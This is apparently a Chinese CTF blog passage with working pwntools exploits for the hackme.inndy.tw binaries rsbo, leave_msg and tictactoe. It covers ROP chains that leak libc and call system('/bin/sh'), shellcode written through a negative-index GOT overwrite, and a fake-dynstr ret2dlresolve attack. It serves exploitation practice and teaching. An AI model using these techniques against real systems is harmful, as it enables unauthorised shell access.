14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#coding=utf8
from pwn import *
context.log_level='debug'
local = 0
elf = ELF('./rsbo')
if local:
p = process('./rsbo')
libc = elf.libc
else:
p = remote('hackme.inndy.tw', 7706)
libc = ELF('./libc-2.23.so.i386')
open_plt = elf.symbols['open']
read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
cat_flag = 0x80487D0
start = 0x8048490
bss = elf.bss()

payload = '\x00'*0x68
payload += 'aaaa'
payload += p32(open_plt)
payload += p32(start)
payload += p32(cat_flag)
payload += p32(0x0)
p.send(payload)

payload = '\x00'*0x68
payload += 'aaaa'
payload += p32(read_plt)
payload += p32(start)
payload += p32(0x3)
payload += p32(bss)
payload += p32(0x100)
p.send(payload)

payload = '\x00'*0x68
payload += 'aaaa'
payload += p32(write_plt)
payload += p32(start)
payload += p32(0x1)
payload += p32(bss)
payload += p32(0x100)
p.send(payload)

p.interactive()

鉴于此,很不爽,尝试直接getshell,即先泄露出真实地址,然后利用system

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#coding=utf8
from pwn import *
context.log_level='debug'
local = 0
elf = ELF('./rsbo')
if local:
p = process('./rsbo')
libc = elf.libc
else:
p = remote('hackme.inndy.tw', 7706)
libc = ELF('./libc-2.23.so.i386')

read_got = elf.got['read']
write_plt = elf.symbols['write']
start = 0x8048490

payload = '\x00'*0x68
payload += 'aaaa'
payload += p32(write_plt)
payload += p32(start)
payload += p32(0x1)
payload += p32(read_got)
payload += p32(0x20)
p.send(payload)

read_addr = u32(p.recv(4))
print 'read_addr---->' + hex(read_addr)
libc_base = read_addr - libc.symbols['read']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

payload = '\x00'*0x68
payload += 'aaaa'
payload += p32(system)
payload += p32(start)
payload += p32(binsh)
p.send(payload)
p.recv()
p.interactive()

这里佛系,因为onedagdet用不了~就用system啦

还可以试着栈迁移思想:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
payload = ''
payload += '\x00'*0x68
payload += p32(bss)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0x0)
payload += p32(bss)
payload += p32(0x100)
p.send(payload)

payload = p32(bss2)
payload += p32(write_plt)
payload += p32(pop_3_ret)
payload += p32(0x1)
payload += p32(read_got)
payload += p32(0x10)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0x0)
payload += p32(bss2)
payload += p32(0x100)
p.send(payload)

read_addr = u32(p.recv(4))
print 'read_addr---->' + hex(read_addr)
libc_base = read_addr - libc.symbols['read']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

payload = 'aaaa'
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(binsh)
p.send(payload)

15、题目:

leave_msg

image.png

看到这个保护就很舒服,只有canary保护,而且有RWX段,去内存看看是哪可以搞一波操作。

image.png

原来是0x8049000到0x804b000的位置,意味着bss是可读可写可执行的(shellcode),

image.png

这里可以看到atoi函数转成整形,但是这个函数有个漏洞,就是会忽略掉空格和换行符,可以看到下面有检验上溢出和下溢出的函数,那么空格+负数就可以绕过了,同时strlen函数有个函数遇到\x00就会停下来,那么就可以绕过这个长度检测,strdup函数是copy函数,strdup会自动申请一块大小和buf一样的堆块,把buf内容复制进堆块接着把堆地址赋值给0x804A060那里,我们要对got动手了,选择puts的got表。先看看偏移~

image.png

因为我们的puts的got表位置在0x804a020,和0x804a060相距-0x40,除4得到-0x10(-16),所以偏移量就算出来了,这里puts的got表无法直接写shellcode,8字节的got位置要写8字节的shellcode不太可能,所以换种思路,写一条指向栈的汇编(add esp,xxx;jmp esp),指向我们的shellcode就好了~接着计算偏移xxx:(si进入到puts函数,相当于执行,观察esp)
image.png

可以计算出偏移为0x30,那么要跳到shellcode,就要加len(jump)+ 1:

image.png

汇编代码长度为5,那么总偏移就是0x30+5+1 = 0x36,则exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#coding=utf8
from pwn import *
context.log_level='debug'
local = 1
elf = ELF('./leave_msg')
if local:
p = process('./leave_msg')
libc = elf.libc
else:
p = remote('nc hackme.inndy.tw',7715)
libc = ELF('./libc-2.23.so.i386')

shellcode = asm(shellcraft.sh())
jump = asm("add esp,0x32;jmp esp;")

payload = ''
payload += jump + '\x00' + shellcode
p.recvuntil("I'm busy. Please leave your message:")
p.send(payload)

p.recvuntil("Which message slot?")
p.send(" -16")

p.interactive()
总结:这题就是数组下标溢出的题目嘛,利用了atoi函数的漏洞和strlen的漏洞,got表不止可以写其他的地址,还可写汇编指令喔~(甚至是shellcode(8字节长的))

16、题目:tictactoe

1
2
3
4
5
6
7
8
king@ubuntu:~/桌面/Hackme$ checksec tictactoe
[*] '/home/king/\xe6\xa1\x8c\xe9\x9d\xa2/Hackme/tictactoe'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
king@ubuntu:~/桌面/Hackme$

canary保护和堆栈不可执行~看看ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
int __cdecl main()
{
signed int v0; // eax
int v1; // eax
int fd; // ST14_4
signed int i; // [esp+0h] [ebp-118h]
ssize_t v5; // [esp+8h] [ebp-110h]
char buf[256]; // [esp+Ch] [ebp-10Ch]
unsigned int v7; // [esp+10Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
setbuf(stdout, 0);
fclose(stderr);
fwrite("Thanks MatthewStell for the AI, https://gist.github.com/MatthewSteel/3158579\n", 1u, 0x4Du, stderr);
sub_80486C7(" ____ ____ __ __ __ __\n"
" / __ \\ / __ \\ \\ \\ / / \\ \\ / /\n"
"| | | | | | | | \\ V / \\ V /\n"
"| | | | | | | | > < > <\n"
"| |__| | | |__| | / . \\ / . \\\n"
" \\____/ \\____/ /_/ \\_\\ /_/ \\_\\\n"
"\n"
"\n"
"\n");
sub_80486C7("Welcome to use AlphaToe");
sub_80486C7("Try to beat my A.I. system");
printf("Computer: O, You: %c\nPlay (1)st or (2)nd? ", byte_804B04C);
if ( sub_804871C() % 2 == 1 )
v0 = 1;
else
v0 = -1;
dword_804B048 = v0;
for ( i = 0; i <= 8 && !sub_80487F6(); ++i )
{
if ( dword_804B048 == -1 )
{
sub_80489C0();//电脑下棋
}
else
{
sub_8048762();
sub_8048A4B();//我们下棋,漏洞在这里
}
dword_804B048 = -dword_804B048;//一人一次
}
v1 = sub_80487F6();
if ( v1 )
{
if ( v1 == 1 )
{
sub_8048762();
sub_80486C7("You lose. :(");
}
else if ( v1 == -1 )//很明显要跳转到这里才有flag,得找漏洞
{
sub_80486C7("You win. Inconceivable!");
fd = open("flag_simple", 0);
v5 = read(fd, buf, 0x100u);
if ( fd <= 0 || v5 <= 0 )
{
sub_80486C7("Can not read flag! Pls contact admin");
}
else
{
buf[v5] = 0;
printf("Here is your flag: %s\n", buf);
sub_80486C7("You need a shell to get another flag");
}
exit(0);
}
}
else
{
sub_80486C7("Draw!......");
}
memset(&dword_804B048, 0, 0x18u);
puts("You sucks!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int sub_8048A4B()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("\nInput move (9 to change flavor): ");
v1 = sub_804871C();//输入函数
if ( v1 == 9 )
{
read(0, &buf, 4u);
byte_804B04C = buf;//换棋
sub_8048A4B();
}
else
{
*(v1 + 0x804B056) = byte_804B04C;//将输入进行赋值,数组下标溢出,v1可以为负数,byte_804B04C是我们的v1=9的输入,而v1相当于下标偏移,这里就可以改写puts的got为cat_flag的地址。
if ( sub_80486F0(v1) )
*(v1 + 0x804B04D) = -1;
}
return __readgsdword(0x14u) ^ v3;

image.png

而且由于前面的地址相同,所以只需要写末2位即可。

这里为了验证方便,分别在0x08048A8A和0x08048A9E的位置下断点,动态调试看看是否改成功了。

image.png

修改成功,直接再随便输入一个值即可退出getshell,那么exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding=utf8
from pwn import *
context.log_level='debug'
local = 0
elf = ELF('./tictactoe')
if local:
p = process('./tictactoe')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7714)
libc = ELF('./libc-2.23.so.i386')
cat_flag = 0x8048C46
def change(addr,offset):
p.recvuntil("move (9 to change flavor): ")
p.send('9')
#gdb.attach(p,'b *0x08048A8A')
p.send(addr)
p.recvuntil("move (9 to change flavor): ")
p.send(offset)

p.recvuntil("Play (1)st or (2)nd? ")
p.send('1')
change('\x46',' -50')
change('\x8C',' -49')

p.send('0')
p.interactive()

检验下:

image.png

这是第一种方法,我们尝试用getshell的方法去做:

这里介绍下dl_runtime_resolve:利用fake_dynstr实现system的调用。

由ida可知:

image.png

当游戏结束时,调用memset,参数放在0x804B048处,那么利用fake_dynstr实现system调用,再把参数$0写入0x804B048,即可getshell,这里有个坑点,就是每一次轮到机器人时,0x804B048会变成负数,解决方法是统一在奇数位改~

image.png

0x804AF54存第一个参数标记,0x804AF58存第二个参数即dynstr的地址,那么我们只要改0x804AF58这个指向dynstr的指针即可。

image.png

那么我们就要构造出fake_dynstr表,让system字符串的偏移也是0x44就好了,因为ida咩有system字符串,所以可以自己找找,或者自己写一个到某一个bss地址上(前提能写),这里先找找先

image.png

找到了现成的直接用,0x804a00c - 0x44 = 0x8049fc8,那么直接改dynstr表地址为这个地址,就可以了,这样偏移为0x44的地方就是我们的system的地方,前面的地址相同,只需要覆盖两位即可,第一轮先填0,好让机会再次把握在我们手中,制造出和局的场面,则exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#coding=utf8
from pwn import *
context.log_level='debug'
local = 1
elf = ELF('./tictactoe')
if local:
p = process('./tictactoe')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7714)
libc = ELF('./libc-2.23.so.i386')
dynstr = 0x0804af58
system_str = 0x0804a00c
fake_dynstr = 0x08049fc8
player = 0x804b048
bss = elf.bss()
fake_addr = bss + 0x100

def change(string,addr):
offset = addr - 0x804B056
p.recvuntil("move (9 to change flavor): ")
p.sendline('9')
p.send(string)
p.recvuntil("move (9 to change flavor): ")
#gdb.attach(p,'b *0x8048AAE')
p.send(str(offset))

p.recvuntil("Play (1)st or (2)nd? ")
p.sendline('1')
change('\x00',player)#0,解释下这句有什么用,是为了使最后0x804B048为正,因为0x804B048在正负之间不断跳变,而我们填也是在正数时才填,最后要是正数区域才是显示$0,所以这里相当于缓冲的作用。
change('\x24',player)#2
change('\xc8',dynstr)#1
change('\x30',player + 1)#4
change('\x9f',dynstr + 1)#3
#为了退出循环,再玩4次
change('\x00',fake_addr)
change('\x00',fake_addr)
change('\x00',fake_addr)
change('\x00',fake_addr)
p.interactive()

验收下:

image.png

总结

这里dl_runtime_resolve的运用,改dynstr表,就要改指向此表的指针,然后构造相同的偏移量~实现趁机fake调用,很棒的操作。

0%